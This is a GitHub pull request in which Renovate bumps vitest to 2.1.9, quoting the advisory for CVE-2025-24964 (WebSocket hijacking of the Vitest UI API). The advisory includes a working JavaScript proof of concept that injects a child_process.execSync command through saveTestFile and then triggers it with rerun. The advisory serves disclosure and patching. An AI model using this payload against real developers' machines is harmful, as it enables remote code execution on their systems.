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chore(deps-dev): bump vitest to v2.1.9 [security] #614

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chore(deps-dev): bump vitest to v2.1.9 [security] #614

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@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 2.1.8 -> 2.1.9 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

   🚨 Breaking Changes
   🚀 Features
   🐞 Bug Fixes

Configuration

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🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

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@renovate renovate bot added the security label Feb 4, 2025
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codecov bot commented Feb 4, 2025 •
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Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 73.61%. Comparing base (d2e1644) to head (52052c4).

Additional details and impacted files 
@@           Coverage Diff           @@
##             main     #614   +/-   ##
=======================================
  Coverage   73.61%   73.61%           
=======================================
  Files          15       15           
  Lines         815      815           
  Branches       84       84           
=======================================
  Hits          600      600           
  Misses        213      213           
  Partials        2        2
Flag Coverage Δ
anilist 95.74% <ø> (ø)
igdb 29.72% <ø> (ø)
spotify 80.64% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

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@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from 5233456 to 03a7768 Compare February 8, 2025 02:00
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from f01195d to db03ab8 Compare February 22, 2025 02:15
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 5 times, most recently from b9d2a03 to 8a61ed0 Compare March 1, 2025 05:34
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from 29cdc34 to d822f85 Compare March 8, 2025 06:42
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d822f85 to 52052c4 Compare March 8, 2025 10:49
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